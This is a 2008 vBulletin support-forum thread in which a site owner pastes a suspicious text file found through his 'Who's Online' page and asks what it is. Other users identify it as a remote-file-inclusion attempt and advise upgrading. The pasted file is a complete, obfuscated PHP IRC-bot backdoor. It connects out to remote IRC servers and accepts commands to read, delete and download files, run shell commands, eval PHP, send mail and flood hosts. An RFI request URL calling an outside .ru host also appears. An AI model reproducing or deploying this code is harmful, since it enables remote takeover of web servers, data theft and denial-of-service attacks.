Announcement

Collapse
No announcement yet.

Strange .ru code from my forum

Collapse
X
 
  • Filter
  • Time
  • Show
Clear All
new posts

  • streetjob
    replied
    Anyone else have some input to share.. I know it is a tough one...

    Leave a comment:


  • streetjob
    replied
    Thanks jobe 1986,

    In my logs I see:

    [27/Jan/2008:01:15:22 +0600]"GET /showthread.php?p=http://amyru.h18.ru/images/cs.txt?

    Any advice on what to do..?

    Leave a comment:


  • Jobe1986
    replied
    Ive seen a far few of these too myself. All of them have gotten an invalid thread error, and the code is never executed on my server so far.

    Either way these attemps appear to be people attempting to exploit remote execution vunerabilities in any vunerable package.

    As for whether vBulletin is vunerable to remote execution such as this, I cant tell you. But a vBulletin developer may be able to tell you though.

    Leave a comment:


  • streetjob
    replied
    sinecurea I am having the same issue believe to have been hacked with amyru.h18.ru/images/cs.txt? is there a fix?

    Please advise....

    Leave a comment:


  • Sysop9001
    replied
    Once again an exploit versus your site with a kinda script, but don't worry.
    Upgrade your vB to the latest version that now is vB 3.6.8 PL 1

    Leave a comment:


  • sinecurea
    replied
    I didn't really understand anything you typed Dave. I know ru is russian.
    As you can see from the image I posted, the URL is http://amyru.h18.ru/images/cs.txt

    Leave a comment:


  • kuyenmotdivad
    replied
    a .RU is a russian domain as for the code where is it located what link so I can take a look as that you posted I cannot read it as it looks a mess and I dont wanna get an headache from reading it.

    Leave a comment:


  • sinecurea
    started a topic Strange .ru code from my forum

    Strange .ru code from my forum

    Hi Folks,
    On my "Who's online" page, when I hover over a question mark, I get this on a couple of the online users:


    When I follow that link to the txt file, it contains this:
    PHP Code:
    <? set_time_limit(0); ini_set("max_execution_time",0); set_magic_quotes_runtime(0); ini_set('output_buffering',0);
    error_reporting(0); ignore_user_abort(); $xd263a566 = array ( "po" => 8080"sp" => "qdHH3KWXlISXmA==",
     
    "ch" => "WY/U""ke" => "o9CZ0qGWjA==""ha" => "ZaaOi2pjTlGFm1dS""pa" => "b9DInqVXWlRWW2uGbGVmaJlpmKRoomrPnWmgmKqpxq0=",
     
    "tr" => "*""mrnd" => 9"mo" => "LXggaQ==""ve" => "bUlSQyA2LjIzIEJZIEtoYWxlZCBNYXJkYW0tQmF5"
    ); function lc8a89c2c($e341be97d) { $e341be97d str_replace(" """$e341be97d); return $e341be97d;
    } function 
    i9ccc9fce($e341be97d) { $e341be97d base64_decode(lc8a89c2c($e341be97d)); return $e341be97d;
    } function 
    s658cce19() { global $xd263a566$pee11cbb1 = array(); $qd707b814 ""$r59b51417 = array("qeHS2LmTkISHiqZRq5qYmKGnY8+i2Q==""o+XR37OMh5OQhpaIYqyYmZeiqJqW26M=""mtrXnm6FlIRSk6g=""mtrXnW6FlIRSk6g=""mtrXnG6FlIRSk6g=""mtrXm26FlIRSk6g=""rdXN16GRUoaOh2GRmak=""qeHS2LmTkISHiqZRl5+VYqGZqQ==""odXI3bKSk5BSiJ2FYqOYqA==""o+XK366RnZOQhpaIYpidlmGimuA=");
    shuffle($r59b51417); if(($d351a1d2a fsockopen(u39c63ddb($r59b51417[0]),$xd263a566['po'],$s70106d0d,$g809b1abe,15))) {
    $z80521467 yd9889714($xd263a566['mrnd']); if (strlen($xd263a566['sp'])>0) { f56eacb30($d351a1d2ai9ccc9fce("UEFTUw==")." ".u39c63ddb($xd263a566['sp']));
    f56eacb30($d351a1d2ai9ccc9fce("VVNFUg==")." ".zfb0daa8f($xd263a566['mrnd'])." 127.0.0.1 localhost :$z80521467");
    f56eacb30($d351a1d2ai9ccc9fce("TklDSw==").$z80521467"); while (!feof($d351a1d2a)) { $t7fabc140 trim(fgets($d351a1d2a,512));
    $p6e2baaf3 explode(" ",$t7fabc140); if(($t7fabc140 == $qd707b814)) continue; if (isset($p6e2baaf3[0]) && $p6e2baaf3[0] == i9ccc9fce("UElORw==")) {
    f56eacb30($d351a1d2ai9ccc9fce("UE9ORw==")." ".$p6e2baaf3[1]); } else if (isset($p6e2baaf3[1]) && $p6e2baaf3[1] == i9ccc9fce("MDAx")) {
    f56eacb30($d351a1d2ai9ccc9fce("TU9ERQ==").$z80521467 ".i9ccc9fce($xd263a566['mo'])); f56eacb30($d351a1d2ai9ccc9fce("Sk9JTg==")." ".u39c63ddb($xd263a566['ch'])." ".u39c63ddb($xd263a566['ke']));
    } else if(isset(
    $kdfff0a7f[1]) && $kdfff0a7f[1] == i9ccc9fce("NDMz")) { f56eacb30($d351a1d2ai9ccc9fce("TklDSw==").$z80521467");
    } else if (isset(
    $p6e2baaf3[1]) && isset($pee11cbb1[$p6e2baaf3[1]])) { unset($pee11cbb1[$p6e2baaf3[1]]);
    } else if (isset(
    $p6e2baaf3[1]) && ($p6e2baaf3[1] == i9ccc9fce("UFJJVk1TRw==") || $p6e2baaf3[1] == i9ccc9fce("MzMy"))) {
    $g78e73102 strstr($t7fabc140," :"); $g78e73102 substr($g78e73102,2); $kdfff0a7f explode(" ",$g78e73102);
    $t67b3dba8 $p6e2baaf3[0]; $d7c6483dd explode("!",$t67b3dba8); $d7c6483dd substr($d7c6483dd[0],1);
    $u73be252c FALSE; if ($kdfff0a7f[0] == "\1".i9ccc9fce("VkVSU0lPTg==")."\1") { f56eacb30($d351a1d2a,"NOTICE ".$d7c6483dd." :\1".i9ccc9fce("VkVSU0lPTg==")." ".i9ccc9fce($xd263a566['ve'])."\1");
    } for (
    $x865c0c0b=0;$x865c0c0b<count($kdfff0a7f);$x865c0c0b++) { if($kdfff0a7f[$x865c0c0b] == "-s") {
    $u73be252c TRUE; } } if ($p6e2baaf3[1] == i9ccc9fce("MzMy")) { $o01b6e203 $p6e2baaf3[3]; } elseif ($p6e2baaf3[2] == $z80521467) {
    $o01b6e203 $d7c6483dd; } else { $o01b6e203 $p6e2baaf3[2]; } if ($kdfff0a7f[0] == PHP_OS) { array_shift($kdfff0a7f);
    } if (
    substr($kdfff0a7f[0],0,1) == $xd263a566['tr']) { if (isset($pee11cbb1[$t67b3dba8]) || $p6e2baaf3[1] == "332") {
    switch (
    substr($kdfff0a7f[0],1)) { case i9ccc9fce("bG8="): if ($p6e2baaf3[1] != i9ccc9fce("MzMy")) {
    wf2f4e964($d351a1d2a$u73be252c$o01b6e203"out"); } break; case i9ccc9fce("ZDFlbm93"): f56eacb30($d351a1d2ai9ccc9fce("UVVJVCA6SSBRVUlU"));
    fclose($d351a1d2a); exit(0); break; case i9ccc9fce("cmF3"): if (count($kdfff0a7f)>1) { f56eacb30($d351a1d2asubstr($g78e73102,strlen($kdfff0a7f[0])));
    } break; case 
    i9ccc9fce("bHM="): if (isset($kdfff0a7f[1])) { $f954eef6d $kdfff0a7f[1]; } else { $f954eef6d getcwd();
    } if (
    is_dir($f954eef6d)) { if (($m73600783 opendir($f954eef6d))) { wf2f4e964($d351a1d2a$u73be252c$o01b6e203"Dir// Now listing: \2".$f954eef6d."\2");
    while ((
    $b435ed7e9 readdir($m73600783)) !== FALSE) { if ($b435ed7e9 != "." && $b435ed7e9 != "..") {
    wf2f4e964($d351a1d2a$u73be252c$o01b6e203"> (".filetype($f954eef6d."/".$b435ed7e9).") $b435ed7e9");
    sleep(1); } } closedir(); } else { wf2f4e964($d351a1d2a$u73be252c$o01b6e203"Dir// Unable to list contents of \2".$f954eef6d."\2");
    } } else { 
    wf2f4e964($d351a1d2a$u73be252c$o01b6e203"Dir// \2".$f954eef6d."\2 is not a dir!");
    } break; case 
    i9ccc9fce("Y2F0"): if (count($kdfff0a7f) > 1) { if (is_file($kdfff0a7f[1])) { if (($q0666f0ac fopen($kdfff0a7f[1],"r"))) {
    wf2f4e964($d351a1d2a$u73be252c$o01b6e203"CAT// Now reading file: \2".$kdfff0a7f[1]."\2"); while(!feof($q0666f0ac)) {
    $d6438c669 trim(fgets($q0666f0ac,256)); wf2f4e964($d351a1d2a$u73be252c$o01b6e203"> $d6438c669");
    sleep(1); } wf2f4e964($d351a1d2a$u73be252c$o01b6e203"> [EOF]"); } else { wf2f4e964($d351a1d2a$u73be252c$o01b6e203"CAT// Couldn't open \2".$kdfff0a7f[1]."\2 for reading.");
    } } else { 
    wf2f4e964($d351a1d2a$u73be252c$o01b6e203"CAT// \2".$kdfff0a7f[1]."\2 is not a file");
    } } break; case 
    i9ccc9fce("cHdk"): wf2f4e964($d351a1d2a$u73be252c$o01b6e203"PWD// Current dir: ".getcwd());
    break; case 
    i9ccc9fce("Y2Q="): if (count($kdfff0a7f) > 1) { if (chdir($kdfff0a7f[1])) { wf2f4e964($d351a1d2a$u73be252c$o01b6e203"CD// Changed dir to ".$kdfff0a7f[1]);
    } else { 
    wf2f4e964($d351a1d2a$u73be252c$o01b6e203"CD// Failed to change dir"); } } break; case i9ccc9fce("cm0="):
    if (
    count($kdfff0a7f) > 1) { if (unlink($kdfff0a7f[1])) { wf2f4e964($d351a1d2a$u73be252c$o01b6e203"RM// Deleted \2".$kdfff0a7f[1]."\2");
    } else { 
    wf2f4e964($d351a1d2a$u73be252c$o01b6e203"RM// Failed to delete \2".$kdfff0a7f[1]."\2");
    } } break; case 
    i9ccc9fce("dG91Y2g="): if (count($kdfff0a7f) > 1) { if (touch($kdfff0a7f[1])) { wf2f4e964($d351a1d2a$u73be252c$o01b6e203"Touch// Touched \2".$kdfff0a7f[1]."\2");
    } else { 
    wf2f4e964($d351a1d2a$u73be252c$o01b6e203"Touch// Failed to touch \2".$kdfff0a7f[1]."\2");
    } } break; case 
    i9ccc9fce("c3ltbGluaw=="): if (count($kdfff0a7f) > 2) { if (symlink($kdfff0a7f[1],$kdfff0a7f[2])) {
    wf2f4e964($d351a1d2a$u73be252c$o01b6e203"SymLink// Symlinked \2".$kdfff0a7f[2]."\2 To \2".$kdfff0a7f[1]."\2");
    } else { 
    wf2f4e964($d351a1d2a$u73be252c$o01b6e203"SymLink// Failed to link \2".$kdfff0a7f[2]."\2 To \2".$kdfff0a7f[1]."\2");
    } } break; case 
    i9ccc9fce("Y2hvd24="): if (count($kdfff0a7f) > 2) { if (chown($kdfff0a7f[1],$kdfff0a7f[2])) {
    wf2f4e964($d351a1d2a$u73be252c$o01b6e203"Chown// Chowned \2".$kdfff0a7f[1]."\2 To \2".$kdfff0a7f[2]."\2");
    } else { 
    wf2f4e964($d351a1d2a$u73be252c$o01b6e203"Chown// Failed to chown \2".$kdfff0a7f[1]."\2 To \2".$kdfff0a7f[2]."\2");
    } } break; case 
    i9ccc9fce("Y2htb2Q="): if (count($kdfff0a7f) > 2) { if(chmod($kdfff0a7f[1],$kdfff0a7f[2])) {
    wf2f4e964($d351a1d2a$u73be252c$o01b6e203"Chmod// Chmodded \2".$kdfff0a7f[1]."\2 with permissions \2".$kdfff0a7f[2]."\2");
    } else { 
    wf2f4e964($d351a1d2a$u73be252c$o01b6e203"Chmod// Failed to chmod \2".$kdfff0a7f[1]."\2");
    } } break; case 
    i9ccc9fce("bWtkaXI="): if (count($kdfff0a7f) > 1) { if (mkdir($kdfff0a7f[1])) { wf2f4e964($d351a1d2a$u73be252c$o01b6e203"MKDir// Created directory \2".$kdfff0a7f[1]."\2");
    } else { 
    wf2f4e964($d351a1d2a$u73be252c$o01b6e203"MKDir// Failed to create directory \2".$kdfff0a7f[1]."\2");
    } } break; case 
    i9ccc9fce("cm1k"): if (count($kdfff0a7f)>1) { if (rmdir($kdfff0a7f[1])) { wf2f4e964($d351a1d2a$u73be252c$o01b6e203"RMDir// Removed directory \2".$kdfff0a7f[1]."\2");
    } else { 
    wf2f4e964($d351a1d2a$u73be252c$o01b6e203"RMDir// Failed to remove directory \2".$kdfff0a7f[1]."\2");
    } } break; case 
    i9ccc9fce("Y3A="): if (count($kdfff0a7f) > 2) { if (copy($kdfff0a7f[1], $kdfff0a7f[2])) {
    wf2f4e964($d351a1d2a$u73be252c$o01b6e203"CP// Copied \2".$kdfff0a7f[1]."\2 to \2".$kdfff0a7f[2]."\2");
    } else { 
    wf2f4e964($d351a1d2a$u73be252c$o01b6e203"CP// Failed to copy \2".$kdfff0a7f[1]."\2 to \2".$kdfff0a7f[2]."\2");
    } } break; case 
    i9ccc9fce("bWFpbA=="): if (count($kdfff0a7f)>4) { $b099fb995 "From: <".$kdfff0a7f[2].">\r\n";
    if (
    mail($kdfff0a7f[1], $kdfff0a7f[3], substr($g78e73102,$kdfff0a7f[4]), $b099fb995)) { wf2f4e964($d351a1d2a$u73be252c$o01b6e203"Mailer// Message sent to \2".$kdfff0a7f[1]."\2");
    } else { 
    wf2f4e964($d351a1d2a$u73be252c$o01b6e203"Mailer// Send failure"); } } break; case i9ccc9fce("bWttZDU="):
    wf2f4e964($d351a1d2a$u73be252c$o01b6e203"MD5// ".md5($kdfff0a7f[1])); break; case i9ccc9fce("ZG5z"):
    if (isset(
    $kdfff0a7f[1])) { $u957b527b explode(".",$kdfff0a7f[1]); if (count($u957b527b)==&& is_numeric($u957b527b[0]) && is_numeric($u957b527b[1]) && is_numeric($u957b527b[2]) && is_numeric($u957b527b[3])) {
    wf2f4e964($d351a1d2a$u73be252c$o01b6e203"DNS// ".$kdfff0a7f[1]." -> ".gethostbyaddr($kdfff0a7f[1]));
    } else { 
    wf2f4e964($d351a1d2a$u73be252c$o01b6e203"DNS// ".$kdfff0a7f[1]." -> ".gethostbyname($kdfff0a7f[1]));
    } } break; case 
    i9ccc9fce("b3BtZQ=="): f56eacb30($d351a1d2a"mode ".$p6e2baaf3[2]." +o $d7c6483dd");
    break; case 
    i9ccc9fce("cmVzdGFydA=="): f56eacb30($d351a1d2ai9ccc9fce("UVVJVCA6UVVJVC4uLg==")); fclose($d351a1d2a);
    s658cce19(); break; case i9ccc9fce("cm4="): if(isset($kdfff0a7f[1])) { $z80521467 yd9889714((int)$kdfff0a7f[1]);
    f56eacb30($d351a1d2ai9ccc9fce("TklDSw==").$z80521467"); } else { $z80521467 yd9889714($xd263a566['mrnd']);
    f56eacb30($d351a1d2ai9ccc9fce("TklDSw==").$z80521467"); } break; case i9ccc9fce("cGhw"): if (count($kdfff0a7f) > 1) {
    eval(
    substr($g78e73102,strlen($kdfff0a7f[0]))); } break; case i9ccc9fce("Z2V0"): if (count($kdfff0a7f) > 2) {
    if (!(
    $q0666f0ac fopen($kdfff0a7f[2],"w"))) { wf2f4e964($d351a1d2a$u73be252c$o01b6e203"Get// Permission denied");
    } else { if (!(
    $rb5eda0a7 file($kdfff0a7f[1]))) { wf2f4e964($d351a1d2a$u73be252c$o01b6e203"Get// Bad URL/DNS error");
    } else { for (
    $x865c0c0b 0$x865c0c0b count($rb5eda0a7); $x865c0c0b++) { fwrite($q0666f0ac,$rb5eda0a7[$x865c0c0b]);
    wf2f4e964($d351a1d2a$u73be252c$o01b6e203"Get// \2".$kdfff0a7f[1]."\2 downloaded to \2".$kdfff0a7f[2]."\2");
    fclose($q0666f0ac); } } break; case i9ccc9fce("bmk="): wf2f4e964($d351a1d2a$u73be252c$o01b6e203"NetInfo// IP: ".$_SERVER['SERVER_ADDR']." Hostname: ".$_SERVER['SERVER_NAME']);
    break; case 
    i9ccc9fce("c2k="): wf2f4e964($d351a1d2a$u73be252c$o01b6e203"Sysinfo// [User: ".get_current_user()."] [PID: ".getmypid()."] [Version: PHP ".phpversion()."] [OS: ".PHP_OS."] [Server_software: ".$_SERVER['SERVER_SOFTWARE']."] [Server_name: ".$_SERVER['SERVER_NAME']."] [Admin: ".$_SERVER['SERVER_ADMIN']."] [Docroot: ".$_SERVER['DOCUMENT_ROOT']."] [HTTP Host: ".$_SERVER['HTTP_HOST']."] [URL: ".$_SERVER['REQUEST_URI']."]");
    break; case 
    i9ccc9fce("cG9ydG9wZW4="): if (isset($kdfff0a7f[1],$kdfff0a7f[2])) { if (fsockopen($kdfff0a7f[1],(int)$kdfff0a7f[2],$n56bd7107,$e341be97d,5)) {
    wf2f4e964($d351a1d2a$u73be252c$o01b6e203"PortChk// ".$kdfff0a7f[1].":".$kdfff0a7f[2]." is \2Open\2");
    } else { 
    wf2f4e964($d351a1d2a$u73be252c$o01b6e203"PortChk// ".$kdfff0a7f[1].":".$kdfff0a7f[2]." is \2Closed\2");
    } } break; case 
    i9ccc9fce("dW5hbWU="): wf2f4e964($d351a1d2a$u73be252c$o01b6e203"Uname// ".php_uname());
    break; case 
    i9ccc9fce("aWQ="): wf2f4e964($d351a1d2a$u73be252c$o01b6e203"ID// ".getmypid()); break;
    case 
    i9ccc9fce("Y21k"): if (count($kdfff0a7f)>1) { $s1dccadfe popen(substr($g78e73102,strlen($kdfff0a7f[0])),"r");
    while (!
    feof($s1dccadfe)) { $h734515cb trim(fgets($s1dccadfe,512)); if (strlen($h734515cb)>0) { wf2f4e964($d351a1d2a$u73be252c$o01b6e203"> ".$h734515cb);
    sleep(1); } } wf2f4e964($d351a1d2a$u73be252c$o01b6e203"> [EOF]"); } break; case i9ccc9fce("ZXhlYw=="):
    f54d54a12(substr($g78e73102,strlen($kdfff0a7f[0]))); break; case i9ccc9fce("aGl0"): if (!$kdfff0a7f[1] || !$kdfff0a7f[2]) {
    wf2f4e964($d351a1d2a$u73be252c$o01b6e203"Hit// Need some cmds."); break; } if ($kdfff0a7f[2] > 100) {
    wf2f4e964($d351a1d2a$u73be252c$o01b6e203"Hit// too much sockets. setting to 100."); $kdfff0a7f[2] = 100;
    wf2f4e964($d351a1d2a$u73be252c$o01b6e203"Hit// $kdfff0a7f[1] with $kdfff0a7f[2] pkts."); gbeee853c($kdfff0a7f[1],$kdfff0a7f[2]);
    break; } } else { switch(
    substr($kdfff0a7f[0],1)) { case i9ccc9fce("Kg=="): if (isset($kdfff0a7f[1]) && md5($kdfff0a7f[1]) == u39c63ddb($xd263a566['pa']) && preg_match(u39c63ddb($xd263a566['ha']),$t67b3dba8)) {
    wf2f4e964($d351a1d2a$u73be252c$o01b6e203"Ready// Login Ok: \2$d7c6483dd\2"); $pee11cbb1[$t67b3dba8] = TRUE;
    } else { 
    wf2f4e964($d351a1d2aFALSE$xd263a566['ch'], "Ready// Login rejected: \2$d7c6483dd\2"); }
    break; } } } } 
    $qd707b814 $t7fabc140; } fclose($d351a1d2a); sleep(3); s658cce19(); } else { shuffle($r59b51417);
    s658cce19(); } } function f56eacb30($h317d37b0$g78e73102) { fwrite($h317d37b0,"$g78e73102\r\n"); }
    function 
    wf2f4e964($h317d37b0$u73be252c$o01b6e203$g78e73102) { if($u73be252c != TRUE) { f56eacb30($h317d37b0i9ccc9fce("UFJJVk1TRw==").$o01b6e203 :$g78e73102");
    } } function 
    yd9889714($cfac65290) { for ($x865c0c0b 0$x865c0c0b $cfac65290$x865c0c0b++) $g2cb9df98 .= chr(mt_rand(0,25)+97);
    if (
    posix_getegid() == 0$g2cb9df98 "r-".$g2cb9df98; return $g2cb9df98; } function f54d54a12($o111ca5df)
    $s9b207167 ''; if (!empty($o111ca5df)) { if(function_exists('exec')) { @exec($o111ca5df,$s9b207167);
    $s9b207167 join("\n",$s9b207167); } elseif(function_exists('shell_exec')) { $s9b207167 = @shell_exec($o111ca5df);
    } elseif(
    function_exists('system')) { @ob_start(); @system($o111ca5df); $s9b207167 = @ob_get_contents();
    @
    ob_end_clean(); } elseif(function_exists('passthru')) { @ob_start(); @passthru($o111ca5df); $s9b207167 = @ob_get_contents();
    @
    ob_end_clean(); } elseif(@is_resource($g8fa14cdd = @popen($o111ca5df,"r"))) { $s9b207167 ""; while([email protected]feof($g8fa14cdd)) { $s9b207167 .= @fread($g8fa14cdd,1024); }
    @
    pclose($g8fa14cdd); } } return $s9b207167; } function gbeee853c($t67b3dba8,$nc9c17db3) { f54d54a12("ping -p 2222f2b22 -s 512 -t 255 -c $nc9c17db3 $t67b3dba8");
    } function 
    u39c63ddb($qc7a1ddb1) { $cb4a88417 ''$qc7a1ddb1 base64_decode($qc7a1ddb1); for($x865c0c0b=0$x865c0c0b<strlen($qc7a1ddb1); $x865c0c0b++) {
    $ya87deb01 substr($qc7a1ddb1$x865c0c0b1); $uae0e1268 substr(i9ccc9fce("bGRqQCMkIyQlMyM0NTM0MzQ1bDNsNmpsNGs1dHJld3VpdHJlaXRyZXRFcnR3ZXJUd2VydCQlMzQzMjQ1NmtsJl4qNjc4Njc4XiYqXiY4NWo0bGs2ajM0bDZqbDM0Ng=="), ($x865c0c0b strlen(i9ccc9fce("bGRqQCMkIyQlMyM0NTM0MzQ1bDNsNmpsNGs1dHJld3VpdHJlaXRyZXRFcnR3ZXJUd2VydCQlMzQzMjQ1NmtsJl4qNjc4Njc4XiYqXiY4NWo0bGs2ajM0bDZqbDM0Ng==")))-11);
    $ya87deb01 chr(ord($ya87deb01)-ord($uae0e1268)); $cb4a88417.=$ya87deb01; } return $cb4a88417; } function zfb0daa8f($cfac65290) {
    $g2cb9df98 ""; for ($x865c0c0b=0;$x865c0c0b<$cfac65290$x865c0c0b++) $g2cb9df98 .= chr(mt_rand(0,25)+97);
    return 
    $g2cb9df98; } s658cce19(); ?>
    Could someboby please tell me what on earth is going on here?
    Is it something I should be concerned about?

    Cheers,
    Steve.
widgetinstance 262 (Related Topics) skipped due to lack of content & hide_module_if_empty option.
Working...
X